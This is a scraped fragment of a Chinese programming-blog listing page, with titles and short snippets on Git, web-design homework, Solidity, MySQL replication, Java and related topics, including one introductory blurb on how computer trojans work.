                    </li>
                    <li><a href="/article/1835499052125483008.htm"
                           title="Git常用命令-修改远程仓库地址" target="_blank">Git常用命令-修改远程仓库地址</a>
                        <span class="text-muted">猿大师</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/Java/1.htm">Java</a><a class="tag" taget="_blank" href="/search/git/1.htm">git</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>查看远程仓库地址gitremote-v返回结果originhttps://git.coding.net/*****.git(fetch)originhttps://git.coding.net/*****.git(push)修改远程仓库地址gitremoteset-urloriginhttps://git.coding.net/*****.git先删除后增加远程仓库地址gitremotermori</div>
                    </li>
                    <li><a href="/article/1835498925755297792.htm"
                           title="DIV+CSS+JavaScript技术制作网页(旅游主题网页设计与制作)云南大理" target="_blank">DIV+CSS+JavaScript技术制作网页(旅游主题网页设计与制作)云南大理</a>
                        <span class="text-muted">STU学生网页设计</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E9%A1%B5%E8%AE%BE%E8%AE%A1/1.htm">网页设计</a><a class="tag" taget="_blank" href="/search/%E6%9C%9F%E6%9C%AB%E7%BD%91%E9%A1%B5%E4%BD%9C%E4%B8%9A/1.htm">期末网页作业</a><a class="tag" taget="_blank" href="/search/html%E9%9D%99%E6%80%81%E7%BD%91%E9%A1%B5/1.htm">html静态网页</a><a class="tag" taget="_blank" href="/search/html5%E6%9C%9F%E6%9C%AB%E5%A4%A7%E4%BD%9C%E4%B8%9A/1.htm">html5期末大作业</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E9%A1%B5%E8%AE%BE%E8%AE%A1/1.htm">网页设计</a><a class="tag" taget="_blank" href="/search/web%E5%A4%A7%E4%BD%9C%E4%B8%9A/1.htm">web大作业</a>
                        <div>️精彩专栏推荐作者主页:【进入主页—获取更多源码】web前端期末大作业:【HTML5网页期末作业(1000套)】程序员有趣的告白方式:【HTML七夕情人节表白网页制作(110套)】文章目录二、网站介绍三、网站效果▶️1.视频演示2.图片演示四、网站代码HTML结构代码CSS样式代码五、更多源码二、网站介绍网站布局方面:计划采用目前主流的、能兼容各大主流浏览器、显示效果稳定的浮动网页布局结构。网站程</div>
                    </li>
                    <li><a href="/article/1835497792265613312.htm"
                           title="【加密社】Solidity 中的事件机制及其应用" target="_blank">【加密社】Solidity 中的事件机制及其应用</a>
                        <span class="text-muted">加密社</span>
<a class="tag" taget="_blank" href="/search/%E9%97%B2%E4%BE%83/1.htm">闲侃</a><a class="tag" taget="_blank" href="/search/%E5%8C%BA%E5%9D%97%E9%93%BE/1.htm">区块链</a><a class="tag" taget="_blank" href="/search/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/1.htm">智能合约</a><a class="tag" taget="_blank" href="/search/%E5%8C%BA%E5%9D%97%E9%93%BE/1.htm">区块链</a>
                        <div>加密社引言在Solidity合约开发过程中,事件(Events)是一种非常重要的机制。它们不仅能够让开发者记录智能合约的重要状态变更,还能够让外部系统(如前端应用)监听这些状态的变化。本文将详细介绍Solidity中的事件机制以及如何利用不同的手段来触发、监听和获取这些事件。事件存储的地方当我们在Solidity合约中使用emit关键字触发事件时,该事件会被记录在区块链的交易收据中。具体而言,事件</div>
                    </li>
                    <li><a href="/article/1835496402042580992.htm"
                           title="GitHub上克隆项目" target="_blank">GitHub上克隆项目</a>
                        <span class="text-muted">bigbig猩猩</span>
<a class="tag" taget="_blank" href="/search/github/1.htm">github</a>
                        <div>从GitHub上克隆项目是一个简单且直接的过程,它允许你将远程仓库中的项目复制到你的本地计算机上,以便进行进一步的开发、测试或学习。以下是一个详细的步骤指南,帮助你从GitHub上克隆项目。一、准备工作1.安装Git在克隆GitHub项目之前,你需要在你的计算机上安装Git工具。Git是一个开源的分布式版本控制系统,用于跟踪和管理代码变更。你可以从Git的官方网站(https://git-scm.</div>
                    </li>
                    <li><a href="/article/1835496149843275776.htm"
                           title="关于城市旅游的HTML网页设计——(旅游风景云南 5页)HTML+CSS+JavaScript" target="_blank">关于城市旅游的HTML网页设计——(旅游风景云南 5页)HTML+CSS+JavaScript</a>
                        <span class="text-muted">二挡起步</span>
<a class="tag" taget="_blank" href="/search/web%E5%89%8D%E7%AB%AF%E6%9C%9F%E6%9C%AB%E5%A4%A7%E4%BD%9C%E4%B8%9A/1.htm">web前端期末大作业</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/%E6%97%85%E6%B8%B8/1.htm">旅游</a><a class="tag" taget="_blank" href="/search/%E9%A3%8E%E6%99%AF/1.htm">风景</a>
                        <div>⛵源码获取文末联系✈Web前端开发技术描述网页设计题材,DIV+CSS布局制作,HTML+CSS网页设计期末课程大作业|游景点介绍|旅游风景区|家乡介绍|等网站的设计与制作|HTML期末大学生网页设计作业,Web大学生网页HTML:结构CSS:样式在操作方面上运用了html5和css3,采用了div+css结构、表单、超链接、浮动、绝对定位、相对定位、字体样式、引用视频等基础知识JavaScrip</div>
                    </li>
                    <li><a href="/article/1835496148601761792.htm"
                           title="HTML网页设计制作大作业(div+css) 云南我的家乡旅游景点 带文字滚动" target="_blank">HTML网页设计制作大作业(div+css) 云南我的家乡旅游景点 带文字滚动</a>
                        <span class="text-muted">二挡起步</span>
<a class="tag" taget="_blank" href="/search/web%E5%89%8D%E7%AB%AF%E6%9C%9F%E6%9C%AB%E5%A4%A7%E4%BD%9C%E4%B8%9A/1.htm">web前端期末大作业</a><a class="tag" taget="_blank" href="/search/web%E8%AE%BE%E8%AE%A1%E7%BD%91%E9%A1%B5%E8%A7%84%E5%88%92%E4%B8%8E%E8%AE%BE%E8%AE%A1/1.htm">web设计网页规划与设计</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/dreamweaver/1.htm">dreamweaver</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>Web前端开发技术描述网页设计题材,DIV+CSS布局制作,HTML+CSS网页设计期末课程大作业游景点介绍|旅游风景区|家乡介绍|等网站的设计与制作HTML期末大学生网页设计作业HTML:结构CSS:样式在操作方面上运用了html5和css3,采用了div+css结构、表单、超链接、浮动、绝对定位、相对定位、字体样式、引用视频等基础知识JavaScript:做与用户的交互行为文章目录前端学习路线</div>
                    </li>
                    <li><a href="/article/1835493373906087936.htm"
                           title="libyuv之linux编译" target="_blank">libyuv之linux编译</a>
                        <span class="text-muted">jaronho</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a>
                        <div>文章目录一、下载源码二、编译源码三、注意事项1、银河麒麟系统(aarch64)(1)解决armv8-a+dotprod+i8mm指令集支持问题(2)解决armv9-a+sve2指令集支持问题一、下载源码到GitHub网站下载https://github.com/lemenkov/libyuv源码,或者用直接用git克隆到本地,如:gitclonehttps://github.com/lemenko</div>
                    </li>
                    <li><a href="/article/1835493247179386880.htm"
                           title="Faiss Tips:高效向量搜索与聚类的利器" target="_blank">Faiss Tips:高效向量搜索与聚类的利器</a>
                        <span class="text-muted">焦习娜Samantha</span>

                        <div>FaissTips:高效向量搜索与聚类的利器faiss_tipsSomeusefultipsforfaiss项目地址:https://gitcode.com/gh_mirrors/fa/faiss_tips项目介绍Faiss是由FacebookAIResearch开发的一个用于高效相似性搜索和密集向量聚类的库。它支持多种硬件平台,包括CPU和GPU,能够在海量数据集上实现快速的近似最近邻搜索(AN</div>
                    </li>
                    <li><a href="/article/1835491859351302144.htm"
                           title="Python 实现图片裁剪(附代码) | Python工具" target="_blank">Python 实现图片裁剪(附代码) | Python工具</a>
                        <span class="text-muted">剑客阿良_ALiang</span>

                        <div>前言本文提供将图片按照自定义尺寸进行裁剪的工具方法,一如既往的实用主义。环境依赖ffmpeg环境安装,可以参考我的另一篇文章:windowsffmpeg安装部署_阿良的博客-CSDN博客本文主要使用到的不是ffmpeg,而是ffprobe也在上面这篇文章中的zip包中。ffmpy安装:pipinstallffmpy-ihttps://pypi.douban.com/simple代码不废话了,上代码</div>
                    </li>
                    <li><a href="/article/1835486185015832576.htm"
                           title="【无标题】达瓦达瓦" target="_blank">【无标题】达瓦达瓦</a>
                        <span class="text-muted">JhonKI</span>
<a class="tag" taget="_blank" href="/search/%E8%80%83%E7%A0%94/1.htm">考研</a>
                        <div>博客主页:https://blog.csdn.net/2301_779549673欢迎点赞收藏⭐留言如有错误敬请指正!本文由JohnKi原创,首发于CSDN未来很长,值得我们全力奔赴更美好的生活✨文章目录前言111️‍111❤️111111111111111总结111前言111骗骗流量券,嘿嘿111111111111111111111111111️‍111❤️111111111111111总结11</div>
                    </li>
                    <li><a href="/article/1835486185468817408.htm"
                           title="上图为是否色发" target="_blank">上图为是否色发</a>
                        <span class="text-muted">JhonKI</span>
<a class="tag" taget="_blank" href="/search/%E8%80%83%E7%A0%94/1.htm">考研</a>
                        <div>博客主页:https://blog.csdn.net/2301_779549673欢迎点赞收藏⭐留言如有错误敬请指正!本文由JohnKi原创,首发于CSDN未来很长,值得我们全力奔赴更美好的生活✨文章目录前言111️‍111❤️111111111111111总结111前言111骗骗流量券,嘿嘿111111111111111111111111111️‍111❤️111111111111111总结11</div>
                    </li>
                    <li><a href="/article/1835483159140069376.htm"
                           title="143234234123432" target="_blank">143234234123432</a>
                        <span class="text-muted">JhonKI</span>
<a class="tag" taget="_blank" href="/search/%E8%80%83%E7%A0%94/1.htm">考研</a>
                        <div>博客主页:https://blog.csdn.net/2301_779549673欢迎点赞收藏⭐留言如有错误敬请指正!本文由JohnKi原创,首发于CSDN未来很长,值得我们全力奔赴更美好的生活✨文章目录前言111️‍111❤️111111111111111总结111前言111骗骗流量券,嘿嘿111111111111111111111111111️‍111❤️111111111111111总结11</div>
                    </li>
                    <li><a href="/article/1835476350190841856.htm"
                           title="ExpRe[25] bash外的其它shell:zsh和fish" target="_blank">ExpRe[25] bash外的其它shell:zsh和fish</a>
                        <span class="text-muted">tritone</span>
<a class="tag" taget="_blank" href="/search/ExpRe/1.htm">ExpRe</a><a class="tag" taget="_blank" href="/search/bash/1.htm">bash</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a><a class="tag" taget="_blank" href="/search/shell/1.htm">shell</a>
                        <div>文章目录zsh基础配置实用特性插件`autojump`语法高亮自动补全fish优点缺点时效性本篇撰写时间为2021.12.15,由于计算机技术日新月异,博客中所有内容都有时效和版本限制,具体做法不一定总行得通,链接可能改动失效,各种软件的用法可能有修改。但是其中透露的思想往往是值得学习的。本篇前置:ExpRe[10]Ubuntu[2]准备神秘软件、备份恢复软件https://www.cnblogs</div>
                    </li>
                    <li><a href="/article/1835475216080400384.htm"
                           title="openssl+keepalived安装部署" target="_blank">openssl+keepalived安装部署</a>
                        <span class="text-muted">_小亦_</span>
<a class="tag" taget="_blank" href="/search/%E9%A1%B9%E7%9B%AE%E9%83%A8%E7%BD%B2/1.htm">项目部署</a><a class="tag" taget="_blank" href="/search/keepalived/1.htm">keepalived</a><a class="tag" taget="_blank" href="/search/openssl/1.htm">openssl</a>
                        <div>文章目录OpenSSL安装下载地址编译安装修改系统配置版本Keepalived安装下载地址安装遇到问题安装完成配置文件keepalived运行检查运行状态查看系统日志修改服务service重新加载systemd检查配置文件语法错误OpenSSL安装下载地址考虑到后面设备可能没法连接到外网,所以采用安装包的方式进行部署,下载地址:https://www.openssl.org/source/old/</div>
                    </li>
                    <li><a href="/article/1835471059135066112.htm"
                           title="你可能遗漏的一些C#/.NET/.NET Core知识点" target="_blank">你可能遗漏的一些C#/.NET/.NET Core知识点</a>
                        <span class="text-muted">追逐时光者</span>
<a class="tag" taget="_blank" href="/search/C%23/1.htm">C#</a><a class="tag" taget="_blank" href="/search/.NET/1.htm">.NET</a><a class="tag" taget="_blank" href="/search/DotNetGuide%E7%BC%96%E7%A8%8B%E6%8C%87%E5%8D%97/1.htm">DotNetGuide编程指南</a><a class="tag" taget="_blank" href="/search/c%23/1.htm">c#</a><a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a><a class="tag" taget="_blank" href="/search/.netcore/1.htm">.netcore</a><a class="tag" taget="_blank" href="/search/microsoft/1.htm">microsoft</a>
                        <div>前言在这个快速发展的技术世界中,时常会有一些重要的知识点、信息或细节被忽略或遗漏。《C#/.NET/.NETCore拾遗补漏》专栏我们将探讨一些可能被忽略或遗漏的重要知识点、信息或细节,以帮助大家更全面地了解这些技术栈的特性和发展方向。拾遗补漏GitHub开源地址https://github.com/YSGStudyHards/DotNetGuide/blob/main/docs/DotNet/D</div>
                    </li>
                    <li><a href="/article/1835470931783413760.htm"
                           title="「豆包Marscode体验官」 | 云端 IDE 启动 & Rust 体验" target="_blank">「豆包Marscode体验官」 | 云端 IDE 启动 & Rust 体验</a>
                        <span class="text-muted">张风捷特烈</span>
<a class="tag" taget="_blank" href="/search/ide/1.htm">ide</a><a class="tag" taget="_blank" href="/search/rust/1.htm">rust</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>theme:cyanosis我正在参加「豆包MarsCode初体验」征文活动MarsCode可以看作一个运行在服务端的远程VSCode开发环境。对于我这种想要学习体验某些语言,但不想在电脑里装环境的人来说非常友好。本文就来介绍一下在MarsCode里,我的体验rust开发体验。一、MarsCode是什么它的本质是:提供代码助手和云端IDE服务的web网站,可通过下面的链接访问https://www</div>
                    </li>
                    <li><a href="/article/1835460785443270656.htm"
                           title="2019考研 | 西交大软件工程" target="_blank">2019考研 | 西交大软件工程</a>
                        <span class="text-muted">笔者阿蓉</span>

                        <div>本科背景:某北京211学校电子信息工程互联网开发工作两年录取结果:全日制软件工程学院分数:初试350+复试笔试80+面试85+总排名:100+从五月份开始脱产学习,我主要说一下专业课和复试还有我对非全的一些看法。【数学100+】张宇,张宇,张宇。跟着张宇学习,入门视频刷一遍,真题刷两遍,错题刷三遍。书刷N多遍。从视频开始学习,是最快的学习方法。5-7月份把主要是数学学好,8-9月份开始给自己每个周</div>
                    </li>
                    <li><a href="/article/1835450890077696000.htm"
                           title="python怎么将png转为tif_png转tif" target="_blank">python怎么将png转为tif_png转tif</a>
                        <span class="text-muted">weixin_39977276</span>

                        <div>发国外的文章要求图片是tif,cmyk色彩空间的。大小尺寸还有要求。比如网上大神多,找到了一段代码,感谢!https://www.jianshu.com/p/ec2af4311f56https://github.com/KevinZc007/image2Tifimportjava.awt.image.BufferedImage;importjava.io.File;importjava.io.Fi</div>
                    </li>
                    <li><a href="/article/1835450257979305984.htm"
                           title="如何用matlab灵活控制feko的求解" target="_blank">如何用matlab灵活控制feko的求解</a>
                        <span class="text-muted">NingrLi</span>
<a class="tag" taget="_blank" href="/search/matlab/1.htm">matlab</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>https://bbs.rfeda.cn/read.php?tid=3778Feko中的模型和求解设置等都可以通过editfeko进行设置,其文件存储为.pre文件,该文件可以用文本打开,因此,我们可以通过VB、VC、matlab等工具对.pre文件进行读写操作,以达到更灵活的使用feko。同样,对于.out文件,我们也可以进行读操作。熟练使用对.pre文件和.out文件的操作后,我们可以方便的计</div>
                    </li>
                    <li><a href="/article/1835449364223455232.htm"
                           title="SpringCloudAlibaba—Sentinel(限流)" target="_blank">SpringCloudAlibaba—Sentinel(限流)</a>
                        <span class="text-muted">菜鸟爪哇</span>

                        <div>前言:自己在学习过程的记录,借鉴别人文章,记录自己实现的步骤。借鉴文章:https://blog.csdn.net/u014494148/article/details/105484410Sentinel介绍Sentinel诞生于阿里巴巴,其主要目标是流量控制和服务熔断。Sentinel是通过限制并发线程的数量(即信号隔离)来减少不稳定资源的影响,而不是使用线程池,省去了线程切换的性能开销。当资源</div>
                    </li>
                    <li><a href="/article/1835449250159357952.htm"
                           title="计算机木马详细编写思路" target="_blank">计算机木马详细编写思路</a>
                        <span class="text-muted">小熊同学哦</span>
<a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E6%9C%A8%E9%A9%AC/1.htm">木马</a><a class="tag" taget="_blank" href="/search/%E6%9C%A8%E9%A9%AC%E6%80%9D%E8%B7%AF/1.htm">木马思路</a>
                        <div>导语:计算机木马(ComputerTrojan)是一种恶意软件,通过欺骗用户从而获取系统控制权限,给黑客打开系统后门的一种手段。虽然木马的存在给用户和系统带来严重的安全风险,但是了解它的工作原理与编写思路,对于我们提高防范意识、构建更健壮的网络安全体系具有重要意义。本篇博客将深入剖析计算机木马的详细编写思路,以及如何复杂化挑战,以期提高读者对计算机木马的认识和对抗能力。计算机木马的基本原理计算机木</div>
                    </li>
                    <li><a href="/article/1835448366310453248.htm"
                           title="光盘文件系统 (iso9660) 格式解析" target="_blank">光盘文件系统 (iso9660) 格式解析</a>
                        <span class="text-muted">穷人小水滴</span>
<a class="tag" taget="_blank" href="/search/%E5%85%89%E7%9B%98/1.htm">光盘</a><a class="tag" taget="_blank" href="/search/%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F/1.htm">文件系统</a><a class="tag" taget="_blank" href="/search/iso9660/1.htm">iso9660</a><a class="tag" taget="_blank" href="/search/deno/1.htm">deno</a><a class="tag" taget="_blank" href="/search/GNU%2FLinux/1.htm">GNU/Linux</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a>
                        <div>越简单的系统,越可靠,越不容易出问题.光盘文件系统(iso9660)十分简单,只需不到200行代码,即可实现定位读取其中的文件.参考资料:https://wiki.osdev.org/ISO_9660相关文章:《光盘防水嘛?DVD+R刻录光盘泡水实验》https://blog.csdn.net/secext2022/article/details/140583910《光驱的内部结构及日常使用》ht</div>
                    </li>
                    <li><a href="/article/1835448238103162880.htm"
                           title="springboot+vue项目实战一-创建SpringBoot简单项目" target="_blank">springboot+vue项目实战一-创建SpringBoot简单项目</a>
                        <span class="text-muted">苹果酱0567</span>
<a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8E%E8%A7%A3%E6%9E%90/1.htm">面试题汇总与解析</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E4%B8%AD%E9%97%B4%E4%BB%B6/1.htm">中间件</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>这段时间抽空给女朋友搭建一个个人博客,想着记录一下建站的过程,就当做笔记吧。虽然复制zjblog只要一个小时就可以搞定一个网站,或者用cms系统,三四个小时就可以做出一个前后台都有的网站,而且想做成啥样也都行。但是就是要从新做,自己做的意义不一样,更何况,俺就是专门干这个的,嘿嘿嘿要做一个网站,而且从零开始,首先呢就是技术选型了,经过一番思量决定选择-SpringBoot做后端,前端使用Vue做一</div>
                    </li>
                    <li><a href="/article/1835448239185293312.htm"
                           title="科幻游戏 《外卖员模拟器》 主要地理环境设定 (1)" target="_blank">科幻游戏 《外卖员模拟器》 主要地理环境设定 (1)</a>
                        <span class="text-muted">穷人小水滴</span>
<a class="tag" taget="_blank" href="/search/%E6%B8%B8%E6%88%8F/1.htm">游戏</a><a class="tag" taget="_blank" href="/search/%E7%A7%91%E5%B9%BB/1.htm">科幻</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1/1.htm">设计</a>
                        <div>游戏名称:《外卖员模拟器》(英文名称:waimai_se)作者:穷人小水滴本故事纯属虚构,如有雷同实属巧合.故事发生在一个(架空)平行宇宙的地球,21世纪(超低空科幻流派).相关文章:https://blog.csdn.net/secext2022/article/details/141790630目录1星球整体地理设定2巨蛇国主要设定3海蛇市主要设定3.1主要地标建筑3.2交通3.3能源(电力)</div>
                    </li>
                    <li><a href="/article/1835447606348705792.htm"
                           title="C++ lambda闭包消除类成员变量" target="_blank">C++ lambda闭包消除类成员变量</a>
                        <span class="text-muted">barbyQAQ</span>
<a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a>
                        <div>原文链接:https://blog.csdn.net/qq_51470638/article/details/142151502一、背景在面向对象编程时,常常要添加类成员变量。然而类成员一旦多了之后,也会带来干扰。拿到一个类,一看成员变量好几十个,就问你怕不怕?二、解决思路可以借助函数式编程思想,来消除一些不必要的类成员变量。三、实例举个例子:classClassA{public:...intfu</div>
                    </li>
                                <li><a href="/article/124.htm"
                                       title="mysql主从数据同步" target="_blank">mysql主从数据同步</a>
                                    <span class="text-muted">林鹤霄</span>
<a class="tag" taget="_blank" href="/search/mysql%E4%B8%BB%E4%BB%8E%E6%95%B0%E6%8D%AE%E5%90%8C%E6%AD%A5/1.htm">mysql主从数据同步</a>
                                    <div>配置mysql5.5主从服务器(转)   
教程开始:一、安装MySQL 
说明:在两台MySQL服务器192.168.21.169和192.168.21.168上分别进行如下操作,安装MySQL 5.5.22 
&nbsp;二、配置MySQL主服务器(192.168.21.169)mysql&nbsp;&nbsp;-uroot&nbsp;&nbsp;-p&nbsp;&nbsp;&nbsp;&nb</div>
                                </li>
                                <li><a href="/article/251.htm"
                                       title="oracle学习笔记" target="_blank">oracle学习笔记</a>
                                    <span class="text-muted">caoyong</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a>
                                    <div>1、ORACLE的安装 
&nbsp;&nbsp; a&gt;、ORACLE的版本 
&nbsp;&nbsp; 8i,9i :&nbsp;&nbsp; i是internet 
&nbsp;&nbsp; 10g,11g : grid (网格) 
&nbsp;&nbsp; 12c : cloud (云计算) 
&nbsp;&nbsp; 
&nbsp;&nbsp; b&gt;、10g不支持win7 
&</div>
                                </li>
                                <li><a href="/article/378.htm"
                                       title="数据库,SQL零基础入门" target="_blank">数据库,SQL零基础入门</a>
                                    <span class="text-muted">天子之骄</span>
<a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%85%A5%E9%97%A8/1.htm">数据库入门</a><a class="tag" taget="_blank" href="/search/%E5%9F%BA%E6%9C%AC%E6%9C%AF%E8%AF%AD/1.htm">基本术语</a>
                                    <div>数据库,SQL零基础入门 
&nbsp; &nbsp; &nbsp; &nbsp;做网站肯定离不开数据库,本人之前没怎么具体接触SQL,这几天起早贪黑得各种入门,恶补脑洞。一些具体的知识点,可以让小白不再迷茫的术语,拿来与大家分享。 
&nbsp; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 数据库,永久数据的一个或多个大型结构化集合,通常与更新和查询数据的软件相关</div>
                                </li>
                                <li><a href="/article/505.htm"
                                       title="pom.xml" target="_blank">pom.xml</a>
                                    <span class="text-muted">一炮送你回车库</span>
<a class="tag" taget="_blank" href="/search/pom.xml/1.htm">pom.xml</a>
                                    <div>1、一级元素dependencies是可以被子项目继承的 
2、一级元素dependencyManagement是定义该项目群里jar包版本号的,通常和一级元素properties一起使用,既然有继承,也肯定有一级元素modules来定义子元素 
3、父项目里的一级元素&lt;modules&gt; 
&lt;module&gt;lcas-admin-war&lt;/module&gt; 
&lt</div>
                                </li>
                                <li><a href="/article/632.htm"
                                       title="sql查地区省市县" target="_blank">sql查地区省市县</a>
                                    <span class="text-muted">3213213333332132</span>
<a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                                    <div>
-- db_yhm_city   
SELECT * FROM db_yhm_city WHERE class_parent_id = 1 -- 海南 class_id = 9 港、奥、台 class_id = 33、34、35   
  
SELECT * FROM db_yhm_city WHERE class_parent_id =169   
  
SELECT d1.cla</div>
                                </li>
                                <li><a href="/article/759.htm"
                                       title="关于监听器那些让人头疼的事" target="_blank">关于监听器那些让人头疼的事</a>
                                    <span class="text-muted">宝剑锋梅花香</span>
<a class="tag" taget="_blank" href="/search/%E7%94%BB%E5%9B%BE%E6%9D%BF/1.htm">画图板</a><a class="tag" taget="_blank" href="/search/%E7%9B%91%E5%90%AC%E5%99%A8/1.htm">监听器</a><a class="tag" taget="_blank" href="/search/%E9%BC%A0%E6%A0%87%E7%9B%91%E5%90%AC%E5%99%A8/1.htm">鼠标监听器</a>
                                    <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 本人初学JAVA,对于界面开发我只能说有点蛋疼,用JAVA来做界面的话确实需要一定的耐心(不使用插件,就算使用插件的话也没好多少)既然Java提供了界面开发,老师又要求做,只能硬着头皮上啦。但是监听器还真是个难懂的地方,我是上了几次课才略微搞懂了些。 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</div>
                                </li>
                                <li><a href="/article/886.htm"
                                       title="JAVA的遍历MAP" target="_blank">JAVA的遍历MAP</a>
                                    <span class="text-muted">darkranger</span>
<a class="tag" taget="_blank" href="/search/map/1.htm">map</a>
                                    <div>Java Map遍历方式的选择 
1. 阐述 
  对于Java中Map的遍历方式,很多文章都推荐使用entrySet,认为其比keySet的效率高很多。理由是:entrySet方法一次拿到所有key和value的集合;而keySet拿到的只是key的集合,针对每个key,都要去Map中额外查找一次value,从而降低了总体效率。那么实际情况如何呢? 
  为了解遍历性能的真实差距,包括在遍历ke</div>
                                </li>
                                <li><a href="/article/1013.htm"
                                       title="POJ 2312 Battle City 优先多列+bfs" target="_blank">POJ 2312 Battle City 优先多列+bfs</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/%E6%90%9C%E7%B4%A2/1.htm">搜索</a>
                                    <div>来源:http://poj.org/problem?id=2312 
题意:题目背景就是小时候玩的坦克大战,求从起点到终点最少需要多少步。已知S和R是不能走得,E是空的,可以走,B是砖,只有打掉后才可以通过。 
思路:很容易看出来这是一道广搜的题目,但是因为走E和走B所需要的时间不一样,因此不能用普通的队列存点。因为对于走B来说,要先打掉砖才能通过,所以我们可以理解为走B需要两步,而走E是指需要1</div>
                                </li>
                                <li><a href="/article/1140.htm"
                                       title="Hibernate与Jpa的关系,终于弄懂" target="_blank">Hibernate与Jpa的关系,终于弄懂</a>
                                    <span class="text-muted">avords</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/jpa/1.htm">jpa</a>
                                    <div>我知道Jpa是一种规范,而Hibernate是它的一种实现。除了Hibernate,还有EclipseLink(曾经的toplink),OpenJPA等可供选择,所以使用Jpa的一个好处是,可以更换实现而不必改动太多代码。 
在play中定义Model时,使用的是jpa的annotations,比如javax.persistence.Entity, Table, Column, OneToMany</div>
                                </li>
                                <li><a href="/article/1267.htm"
                                       title="酸爽的console.log" target="_blank">酸爽的console.log</a>
                                    <span class="text-muted">bee1314</span>
<a class="tag" taget="_blank" href="/search/console/1.htm">console</a>
                                    <div>在前端的开发中,console.log那是开发必备啊,简直直观。通过写小函数,组合大功能。更容易测试。但是在打版本时,就要删除console.log,打完版本进入开发状态又要添加,真不够爽。重复劳动太多。所以可以做些简单地封装,方便开发和上线。 
/**
 * log.js hufeng
 * The safe wrapper for `console.xxx` functions
 *  </div>
                                </li>
                                <li><a href="/article/1394.htm"
                                       title="哈佛教授:穷人和过于忙碌的人有一个共同思维特质" target="_blank">哈佛教授:穷人和过于忙碌的人有一个共同思维特质</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/%E6%97%B6%E9%97%B4%E7%AE%A1%E7%90%86/1.htm">时间管理</a><a class="tag" taget="_blank" href="/search/%E5%8A%B1%E5%BF%97%E4%BA%BA%E7%94%9F/1.htm">励志人生</a><a class="tag" taget="_blank" href="/search/%E7%A9%B7%E4%BA%BA/1.htm">穷人</a><a class="tag" taget="_blank" href="/search/%E8%BF%87%E4%BA%8E%E5%BF%99%E7%A2%8C/1.htm">过于忙碌</a>
                                    <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一个跨学科团队今年完成了一项对资源稀缺状况下人的思维方式的研究,结论是:穷人和过于忙碌的人有一个共同思维特质,即注意力被稀缺资源过分占据,引起认知和判断力的全面下降。这项研究是心理学、行为经济学和政策研究学者协作的典范。 
  这个研究源于穆来纳森对自己拖延症的憎恨。他7岁从印度移民美国,很快就如鱼得水,哈佛毕业</div>
                                </li>
                                <li><a href="/article/1521.htm"
                                       title="other operate" target="_blank">other operate</a>
